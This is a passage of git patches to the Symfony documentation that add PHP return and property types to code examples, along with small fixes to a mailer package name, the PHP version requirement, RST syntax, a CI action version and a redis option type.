+    +    private string $adminEmail;
 
           public function __construct(
               private MessageGenerator $messageGenerator,
@@ -489,7 +489,7 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             // same as before
@@ -564,7 +564,7 @@ parameter and in PHP config use the ``service()`` function:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(MessageGenerator::class)
@@ -668,7 +668,7 @@ But, you can control this and pass in a different logger:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ... same code as before
 
             // explicitly configure the service
@@ -701,7 +701,7 @@ Let's add an argument to our ``MessageGenerator`` constructor::
 
     class MessageGenerator
     {
-        private $messageHash;
+        private string $messageHash;
 
         public function __construct(
             private LoggerInterface $logger,
@@ -768,7 +768,7 @@ Our configuration looks like this:
 
         use App\Service\MessageGenerator;
 
-        return function(ContainerConfigurator $containerConfigurator) {
+        return function(ContainerConfigurator $containerConfigurator): void {
             // ... same code as before
 
             // explicitly configure the service
@@ -863,7 +863,7 @@ You can also use the ``bind`` keyword to bind specific arguments by name or type
         use Symfony\Component\DependencyInjection\Definition;
         use Symfony\Component\DependencyInjection\Reference;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services()
                 ->defaults()
                     // pass this value to any $adminEmail argument for any service
@@ -998,7 +998,7 @@ setting:
 
         use App\Service\PublicService;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ... same as code before
 
             // explicitly configure the service
@@ -1050,7 +1050,7 @@ key. For example, the default Symfony configuration contains this:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             // makes classes in src/ available to be used as services
@@ -1229,7 +1229,7 @@ admin email. In this case, each needs to have a unique service id:
         use App\Service\MessageGenerator;
         use App\Service\SiteUpdateManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             // ...
 
             // site_update_manager.superadmin is the service's id
@@ -1275,7 +1275,7 @@ the closure::
     // config/packages/my_config.php
     namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-    return function(ContainerConfigurator $containerConfigurator, string $env) {
+    return function(ContainerConfigurator $containerConfigurator, string $env): void {
         // `$env` is automatically filled in, so you can configure your
         // services depending on which environment you're on
     };
diff --git a/service_container/injection_types.rst b/service_container/injection_types.rst
index 156de661ce4..959a0008207 100644
--- a/service_container/injection_types.rst
+++ b/service_container/injection_types.rst
@@ -354,7 +354,7 @@ Another possibility is setting public fields of the class directly::
 
         use App\Mail\NewsletterManager;
 
-        return function(ContainerConfigurator $container) {
+        return function(ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set('app.newsletter_manager', NewsletterManager::class)
diff --git a/service_container/service_closures.rst b/service_container/service_closures.rst
index 97dff4c69d7..644fbe3ca75 100644
--- a/service_container/service_closures.rst
+++ b/service_container/service_closures.rst
@@ -79,7 +79,7 @@ argument of type ``service_closure``:
 
         use App\Service\MyService;
 
-        return function (ContainerConfigurator $container) {
+        return function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(MyService::class)
diff --git a/service_container/tags.rst b/service_container/tags.rst
index c22f31b716b..a2639729ff8 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -877,7 +877,7 @@ you can define it in the configuration of the collecting service:
 
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $container) {
+        return function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             // ...
@@ -965,7 +965,7 @@ indexed by the ``key`` attribute:
         use App\Handler\Two;
         use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-        return function (ContainerConfigurator $container) {
+        return function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(One::class)
@@ -1079,7 +1079,7 @@ array element. For example, to retrieve the ``handler_two`` handler::
             use App\HandlerCollection;
             use Symfony\Component\DependencyInjection\Argument\TaggedIteratorArgument;
 
-            return function (ContainerConfigurator $container) {
+            return function (ContainerConfigurator $container): void {
                 $services = $container->services();
 
                 // ...
diff --git a/session.rst b/session.rst
index 16046f1952d..fc07aab68d0 100644
--- a/session.rst
+++ b/session.rst
@@ -297,7 +297,7 @@ configuration <config-framework-session>` in
         use Symfony\Component\HttpFoundation\Cookie;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 // Enables session support. Note that the session will ONLY be started if you read or write from it.
                 // Remove or comment this section to explicitly disable session support.
@@ -371,7 +371,7 @@ session metadata files:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 // ...
                 ->handlerId('session.handler.native_file')
@@ -643,7 +643,7 @@ configuration option to tell Symfony to use this service as the session handler:
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->session()
                 ->handlerId(RedisSessionHandler::class)
@@ -720,7 +720,7 @@ To use it, first register a new handler service with your database credentials:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(PdoSessionHandler::class)
@@ -776,7 +776,7 @@ configuration option to tell Symfony to use this service as the session handler:
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->session()
                 ->handlerId(PdoSessionHandler::class)
@@ -830,7 +830,7 @@ passed to the ``PdoSessionHandler`` service:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(PdoSessionHandler::class)
@@ -1003,7 +1003,7 @@ the MongoDB connection as argument:
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(MongoDbSessionHandler::class)
@@ -1051,7 +1051,7 @@ configuration option to tell Symfony to use this service as the session handler:
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->session()
                 ->handlerId(MongoDbSessionHandler::class)
@@ -1122,7 +1122,7 @@ configure these values with the second argument passed to the
 
         use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $services = $container->services();
 
             $services->set(MongoDbSessionHandler::class)
@@ -1520,7 +1520,7 @@ Symfony to use your session handler instead of the default one:
         use App\Session\CustomSessionHandler;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->session()
                 ->handlerId(CustomSessionHandler::class)
@@ -1547,23 +1547,21 @@ library, but you can adapt it to any other library that you may be using::
 
     class EncryptedSessionProxy extends SessionHandlerProxy
     {
-        private $key;
-
-        public function __construct(\SessionHandlerInterface $handler, Key $key)
-        {
-            $this->key = $key;
-
+        public function __construct(
+            private \SessionHandlerInterface $handler,
+            private Key $key
+        ) {
             parent::__construct($handler);
         }
 
-        public function read($id)
+        public function read($id): string
         {
             $data = parent::read($id);
 
             return Crypto::decrypt($data, $this->key);
         }
 
-        public function write($id, $data)
+        public function write($id, $data): string
         {
             $data = Crypto::encrypt($data, $this->key);
 
@@ -1587,16 +1585,14 @@ intercept the session before it is written::
 
     class ReadOnlySessionProxy extends SessionHandlerProxy
     {
-        private $security;
-
-        public function __construct(\SessionHandlerInterface $handler, Security $security)
-        {
-            $this->security = $security;
-
+        public function __construct(
+            private \SessionHandlerInterface $handler,
+            private Security $security
+        ) {
             parent::__construct($handler);
         }
 
-        public function write($id, $data)
+        public function write($id, $data): string
         {
             if ($this->getUser() && $this->getUser()->isGuest()) {
                 return;
@@ -1605,12 +1601,14 @@ intercept the session before it is written::
             return parent::write($id, $data);
         }
 
-        private function getUser()
+        private function getUser(): ?User
         {
             $user = $this->security->getUser();
             if (is_object($user)) {
                 return $user;
             }
+
+            return null;
         }
     }
 
@@ -1658,7 +1656,7 @@ for the ``handler_id``:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->storageFactoryId('session.storage.factory.php_bridge')
                 ->handlerId(null)
@@ -1718,7 +1716,7 @@ the example below:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->session()
                 ->storageFactoryId('session.storage.factory.php_bridge')
                 ->handlerId('session.storage.native_file')
diff --git a/templates.rst b/templates.rst
index 0d986b0b0bb..5f59c91f59a 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1010,7 +1010,7 @@ template fragments. Configure that special URL in the ``fragments`` option:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->fragments()->path('/_fragment');
         };
@@ -1083,7 +1083,7 @@ default content rendering some template:
         // config/packages/framework.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->fragments()
                 ->hincludeDefaultTemplate('hinclude.html.twig')
diff --git a/testing.rst b/testing.rst
index 77b314723d7..6bdafc1c32e 100644
--- a/testing.rst
+++ b/testing.rst
@@ -357,7 +357,7 @@ the ``test`` environment as follows:
         use App\Contracts\Repository\NewsRepositoryInterface;
         use App\Repository\NewsRepository;
 
-        return static function (ContainerConfigurator $container) {
+        return static function (ContainerConfigurator $container): void {
             $container->services()
                 // redefine the alias as it should be while making it public
                 ->alias(NewsRepositoryInterface::class, NewsRepository::class)
diff --git a/testing/profiling.rst b/testing/profiling.rst
index f7e2d8e54da..3c0184b604c 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -46,7 +46,7 @@ tests significantly. That's why Symfony disables it by default:
         // config/packages/test/web_profiler.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework->profiler()
                 ->enabled(true)
diff --git a/translation.rst b/translation.rst
index 87c0dc8aaed..9842e561f1d 100644
--- a/translation.rst
+++ b/translation.rst
@@ -96,7 +96,7 @@ are located:
         // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $framework
                 ->defaultLocale('en')
@@ -557,7 +557,7 @@ if you're generating translations with specialized programs or teams.
             // config/packages/translation.php
             use Symfony\Config\FrameworkConfig;
 
-            return static function (FrameworkConfig $framework) {
+            return static function (FrameworkConfig $framework): void {
                 $framework->translator()
                     ->paths(['%kernel.project_dir%/custom/path/to/translations'])
                 ;
@@ -914,7 +914,7 @@ the framework:
         // config/packages/translation.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $framework->defaultLocale('en');
         };
 
@@ -975,7 +975,7 @@ checks translation resources for several locales:
            // config/packages/translation.php
            use Symfony\Config\FrameworkConfig;
 
-            return static function (FrameworkConfig $framework) {
+            return static function (FrameworkConfig $framework): void {
                 // ...
                 $framework->translator()
                     ->fallbacks(['en'])
diff --git a/validation.rst b/validation.rst
index 817713253d9..339a373fef6 100644
--- a/validation.rst
+++ b/validation.rst
@@ -36,7 +36,7 @@ your application::
 
     class Author
     {
-        private $name;
+        private string $name;
     }
 
 So far, this is an ordinary class that serves some purpose inside your
@@ -63,7 +63,7 @@ following:
         class Author
         {
             #[Assert\NotBlank]
-            private $name;
+            private string $name;
         }
 
     .. code-block:: yaml
@@ -100,9 +100,9 @@ following:
 
         class Author
         {
-            private $name;
+            private string $name;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new NotBlank());
             }
@@ -136,7 +136,7 @@ returned. Take this simple example from inside a controller::
     use Symfony\Component\Validator\Validator\ValidatorInterface;
 
     // ...
-    public function author(ValidatorInterface $validator)
+    public function author(ValidatorInterface $validator): Response
     {
         $author = new Author();
 
@@ -268,7 +268,7 @@ literature genre mostly associated with the author, which can be set to either
                 choices: ['fiction', 'non-fiction'],
                 message: 'Choose a valid genre.',
             )]
-            private $genre;
+            private string $genre;
 
             // ...
         }
@@ -317,11 +317,11 @@ literature genre mostly associated with the author, which can be set to either
 
         class Author
         {
-            private $genre;
+            private string $genre;
 
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 // ...
 
@@ -352,7 +352,7 @@ options can be specified in this way.
         class Author
         {
             #[Assert\Choice(['fiction', 'non-fiction'])]
-            private $genre;
+            private string $genre;
 
             // ...
         }
@@ -398,9 +398,9 @@ options can be specified in this way.
 
         class Author
         {
-            private $genre;
+            private string $genre;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 // ...
 
@@ -424,7 +424,7 @@ Constraints in Form Classes
 Constraints can be defined while building the form via the ``constraints`` option
 of the form fields::
 
-    public function buildForm(FormBuilderInterface $builder, array $options)
+    public function buildForm(FormBuilderInterface $builder, array $options): void
     {
         $builder
             ->add('myField', TextType::class, [
@@ -468,7 +468,7 @@ class to have at least 3 characters.
         {
             #[Assert\NotBlank]
             #[Assert\Length(min: 3)]
-            private $firstName;
+            private string $firstName;
         }
 
     .. code-block:: yaml
@@ -511,9 +511,9 @@ class to have at least 3 characters.
 
         class Author
         {
-            private $firstName;
+            private string $firstName;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('firstName', new Assert\NotBlank());
                 $metadata->addPropertyConstraint(
@@ -556,7 +556,7 @@ this method must return ``true``:
         class Author
         {
             #[Assert\IsTrue(message: 'The password cannot match your first name')]
-            public function isPasswordSafe()
+            public function isPasswordSafe(): bool
             {
                 // ... return true or false
             }
@@ -599,7 +599,7 @@ this method must return ``true``:
 
         class Author
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addGetterConstraint('passwordSafe', new Assert\IsTrue([
                     'message' => 'The password cannot match your first name',
@@ -609,7 +609,7 @@ this method must return ``true``:
 
 Now, create the ``isPasswordSafe()`` method and include the logic you need::
 
-    public function isPasswordSafe()
+    public function isPasswordSafe(): bool
     {
         return $this->firstName !== $this->password;
     }
diff --git a/validation/translations.rst b/validation/translations.rst
index d5e6d14d8e1..44348ce2b8c 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -20,7 +20,7 @@ your application::
 
     class Author
     {
-        public $name;
+        public string $name;
     }
 
 Add constraints through any of the supported methods. Set the message option
@@ -39,7 +39,7 @@ property is not empty, add the following:
         class Author
         {
             #[Assert\NotBlank(message: 'author.name.not_blank')]
-            public $name;
+            public string $name;
         }
 
     .. code-block:: yaml
@@ -79,9 +79,9 @@ property is not empty, add the following:
 
         class Author
         {
-            public $name;
+            public string $name;
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new NotBlank([
                     'message' => 'author.name.not_blank',
diff --git a/workflow.rst b/workflow.rst
index ec46d729889..2e0c9dfd190 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -122,7 +122,7 @@ follows:
         use App\Entity\BlogPost;
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
             $blogPublishing
                 ->type('workflow') // or 'state_machine'
@@ -175,17 +175,17 @@ The configured property will be used via its implemented getter/setter methods b
     class BlogPost
     {
         // the configured marking store property must be declared
-        private $currentPlace;
-        private $title;
-        private $content;
+        private string $currentPlace;
+        private string $title;
+        private string $content;
 
         // getter/setter methods must exist for property access by the marking store
-        public function getCurrentPlace()
+        public function getCurrentPlace(): string
         {
             return $this->currentPlace;
         }
 
-        public function setCurrentPlace($currentPlace, $context = [])
+        public function setCurrentPlace($currentPlace, $context = []): void
         {
             $this->currentPlace = $currentPlace;
         }
@@ -261,7 +261,7 @@ machine type, use ``camelCased workflow name + StateMachine``::
         ) {
         }
 
-        public function toReview(BlogPost $post)
+        public function toReview(BlogPost $post): void
         {
             // Update the currentState on the post
             try {
@@ -423,7 +423,7 @@ workflow leaves a place::
         ) {
         }
 
-        public function onLeave(Event $event)
+        public function onLeave(Event $event): void
         {
             $this->logger->alert(sprintf(
                 'Blog post (id: "%s") performed transition "%s" from "%s" to "%s"',
@@ -434,7 +434,7 @@ workflow leaves a place::
             ));
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 'workflow.blog_publishing.leave' => 'onLeave',
@@ -477,7 +477,7 @@ missing a title::
 
     class BlogPostReviewSubscriber implements EventSubscriberInterface
     {
-        public function guardReview(GuardEvent $event)
+        public function guardReview(GuardEvent $event): void
         {
             /** @var BlogPost $post */
             $post = $event->getSubject();
@@ -488,7 +488,7 @@ missing a title::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 'workflow.blog_publishing.guard.to_review' => ['guardReview'],
@@ -550,7 +550,7 @@ to :ref:`Guard events <workflow-usage-guard-events>`, which are always fired:
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
 
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
@@ -724,7 +724,7 @@ transition. The value of this option is any valid expression created with the
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
             // ... previous configuration
 
@@ -769,7 +769,7 @@ place::
 
     class BlogPostPublishSubscriber implements EventSubscriberInterface
     {
-        public function guardPublish(GuardEvent $event)
+        public function guardPublish(GuardEvent $event): void
         {
             $eventTransition = $event->getTransition();
             $hourLimit = $event->getMetadata('hour_limit', $eventTransition);
@@ -784,7 +784,7 @@ place::
             $event->addTransitionBlocker(new TransitionBlocker($explanation , '0'));
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 'workflow.blog_publishing.guard.publish' => ['guardPublish'],
@@ -935,7 +935,7 @@ be only the title of the workflow or very complex objects:
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $blogPublishing = $framework->workflows()->workflows('blog_publishing');
             // ... previous configuration
 
@@ -978,7 +978,7 @@ Then you can access this metadata in your controller as follows::
     use Symfony\Component\Workflow\WorkflowInterface;
     // ...
 
-    public function myAction(WorkflowInterface $blogPublishingWorkflow, BlogPost $post)
+    public function myAction(WorkflowInterface $blogPublishingWorkflow, BlogPost $post): Response
     {
         $title = $blogPublishingWorkflow
             ->getMetadataStore()
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d4c979133fc..de79270db7d 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -246,7 +246,7 @@ Below is the configuration for the pull request state machine with styling added
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             // ...
             $pullRequest = $framework->workflows()->workflows('pull_request');
 
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 3884af25059..f30d26397d1 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -194,7 +194,7 @@ Below is the configuration for the pull request state machine.
         // config/packages/workflow.php
         use Symfony\Config\FrameworkConfig;
 
-        return static function (FrameworkConfig $framework) {
+        return static function (FrameworkConfig $framework): void {
             $pullRequest = $framework->workflows()->workflows('pull_request');
 
             $pullRequest

From 6d13a0dbfb11ab2d60c68039e2541de030765b04 Mon Sep 17 00:00:00 2001
From: Bloedewicht <svenzissner@gmail.com>
Date: Wed, 31 May 2023 18:45:19 +0200
Subject: [PATCH 3325/5766] Update mailer.rst

wrong composer packagename
---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index 702bdd181c1..fca1928396a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -108,7 +108,7 @@ Service               Install with
 `Mailgun`_            ``composer require symfony/mailgun-mailer``
 `Mailjet`_            ``composer require symfony/mailjet-mailer``
 `MailPace`_           ``composer require symfony/mail-pace-mailer``
-`MailerSend`_         ``composer require symfony/mailersend-mailer``
+`MailerSend`_         ``composer require symfony/mailer-send-mailer``
 `Postmark`_           ``composer require symfony/postmark-mailer``
 `SendGrid`_           ``composer require symfony/sendgrid-mailer``
 `Sendinblue`_         ``composer require symfony/sendinblue-mailer``

From 291cded9c71731284f03ab10d9bcb7da0ca26420 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Jun 2023 11:36:26 +0200
Subject: [PATCH 3326/5766] Upgrade the minimum PHP version requirement for
 Symfony 7.0

---
 setup.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup.rst b/setup.rst
index 7bb5a8010a2..b75335c9dd6 100644
--- a/setup.rst
+++ b/setup.rst
@@ -14,7 +14,7 @@ Technical Requirements
 
 Before creating your first Symfony application you must:
 
-* Install PHP 8.1 or higher and these PHP extensions (which are installed and
+* Install PHP 8.2 or higher and these PHP extensions (which are installed and
   enabled by default in most PHP 8 installations): `Ctype`_, `iconv`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 * `Install Composer`_, which is used to install PHP packages.

From ace3eb9398f0b5e17e1de4c519d1fcca9462382f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Jun 2023 11:59:42 +0200
Subject: [PATCH 3327/5766] Fix an RST syntax issue of some missing headline

---
 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 0ee70b0929d..5d13a79abaf 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -330,7 +330,7 @@ absolute URLs instead of relative URLs.
 .. _reference-twig-function-t:
 
 t
-~
+~~~
 
 .. code-block:: twig
 

From 425f34af54bd45d11bd85a6a815f5faf59e5f333 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 1 Jun 2023 18:01:01 +0200
Subject: [PATCH 3328/5766] Use DOCtor-RST 1.47.2

---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index d91a7046960..af90b9308a3 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.47.1
+                uses: docker://oskarstark/doctor-rst:1.47.2
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 

From 1c6c06d743a59bcd144ebf052003f53133f66297 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Fri, 2 Jun 2023 11:01:50 +0200
Subject: [PATCH 3329/5766] [Cache] Fix redis adapter option type

---
 components/cache/adapters/redis_adapter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 821fbb14050..a7530e6d3f0 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -210,7 +210,7 @@ Available Options
     ``error``, ``distribute`` or ``slaves``.  For ``\Predis\ClientInterface`` valid options are ``slaves``
     or ``distribute``.
 
-``ssl`` (type: ``bool``, default: ``null``)
+``ssl`` (type: ``array``, default: ``null``)
     SSL context options. See `php.net/context.ssl`_ for more information.
 
 .. note::

From e33a1402db4b9948df64cb06c144cd7c81488624 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 1 Jun 2023 13:51:48 +0200
Subject: [PATCH 3330/5766] Add property types and return types in constraints
 and few other places

---
 cache.rst                                     |  2 +-
 components/options_resolver.rst               | 14 +++----
 components/serializer.rst                     | 10 ++---
 components/validator/resources.rst            |  6 +--
 components/var_dumper.rst                     | 10 ++---
 components/var_exporter.rst                   |  6 +--
 doctrine/resolve_target_entity.rst            |  5 +--
 event_dispatcher.rst                          |  2 +-
 form/bootstrap5.rst                           |  2 +-
 form/form_collections.rst                     |  8 ++--
 forms.rst                                     | 27 +++++++-------
 frontend/custom_version_strategy.rst          |  2 +-
 messenger/multiple_buses.rst                  |  2 +-
 profiler.rst                                  |  2 +-
 reference/constraints/All.rst                 |  4 +-
 reference/constraints/AtLeastOneOf.rst        |  6 +--
 reference/constraints/Bic.rst                 |  4 +-
 reference/constraints/Blank.rst               |  4 +-
 reference/constraints/CardScheme.rst          |  4 +-
 reference/constraints/Cascade.rst             |  4 +-
 reference/constraints/Choice.rst              | 22 ++++++-----
 reference/constraints/Cidr.rst                |  6 ++-
 reference/constraints/Collection.rst          | 16 ++++----
 reference/constraints/Count.rst               |  6 ++-
 reference/constraints/Country.rst             |  6 ++-
 reference/constraints/CssColor.rst            | 10 +++--
 reference/constraints/Currency.rst            |  6 ++-
 reference/constraints/Date.rst                |  6 +--
 reference/constraints/DateTime.rst            |  6 +--
 reference/constraints/DivisibleBy.rst         |  8 ++--
 reference/constraints/Email.rst               |  6 ++-
 reference/constraints/EqualTo.rst             |  8 ++--
 .../constraints/ExpressionLanguageSyntax.rst  |  8 ++--
 reference/constraints/ExpressionSyntax.rst    |  8 ++--
 reference/constraints/File.rst                | 12 +++---
 reference/constraints/GreaterThan.rst         | 26 ++++++++-----
 reference/constraints/GreaterThanOrEqual.rst  | 26 ++++++++-----
 reference/constraints/Hostname.rst            |  6 ++-
 reference/constraints/Iban.rst                |  6 +--
 reference/constraints/IdenticalTo.rst         |  8 ++--
 reference/constraints/Image.rst               | 20 ++++++----
 reference/constraints/Ip.rst                  |  6 ++-
 reference/constraints/IsFalse.rst             | 14 ++++---
 reference/constraints/IsNull.rst              |  6 ++-
 reference/constraints/IsTrue.rst              | 24 +++++++-----
 reference/constraints/Isbn.rst                |  6 ++-
 reference/constraints/Isin.rst                |  6 ++-
 reference/constraints/Issn.rst                |  6 ++-
 reference/constraints/Language.rst            |  6 ++-
 reference/constraints/Length.rst              |  6 ++-
 reference/constraints/LessThan.rst            | 26 ++++++++-----
 reference/constraints/LessThanOrEqual.rst     | 26 ++++++++-----
 reference/constraints/Locale.rst              |  6 ++-
 reference/constraints/Luhn.rst                |  6 ++-
 reference/constraints/Negative.rst            |  6 ++-
 reference/constraints/NegativeOrZero.rst      |  6 ++-
 reference/constraints/NotBlank.rst            |  6 ++-
 .../constraints/NotCompromisedPassword.rst    |  6 ++-
 reference/constraints/NotEqualTo.rst          |  8 ++--
 reference/constraints/NotIdenticalTo.rst      |  8 ++--
 reference/constraints/NotNull.rst             |  6 ++-
 reference/constraints/Positive.rst            |  6 ++-
 reference/constraints/PositiveOrZero.rst      |  6 ++-
 reference/constraints/Range.rst               | 24 ++++++++----
 reference/constraints/Regex.rst               | 18 ++++++---
 reference/constraints/Sequentially.rst        |  4 +-
 reference/constraints/Time.rst                |  6 +--
 reference/constraints/Timezone.rst            |  6 ++-
 reference/constraints/Traverse.rst            |  8 ++--
 reference/constraints/Type.rst                | 12 +++---
 reference/constraints/Ulid.rst                |  4 +-
 reference/constraints/Unique.rst              | 12 ++++--
 reference/constraints/UniqueEntity.rst        |  6 ++-
 reference/constraints/Url.rst                 | 24 ++++++++----
 reference/constraints/UserPassword.rst        |  6 ++-
 reference/constraints/Uuid.rst                |  6 ++-
 reference/constraints/Valid.rst               | 37 ++++++++++++-------
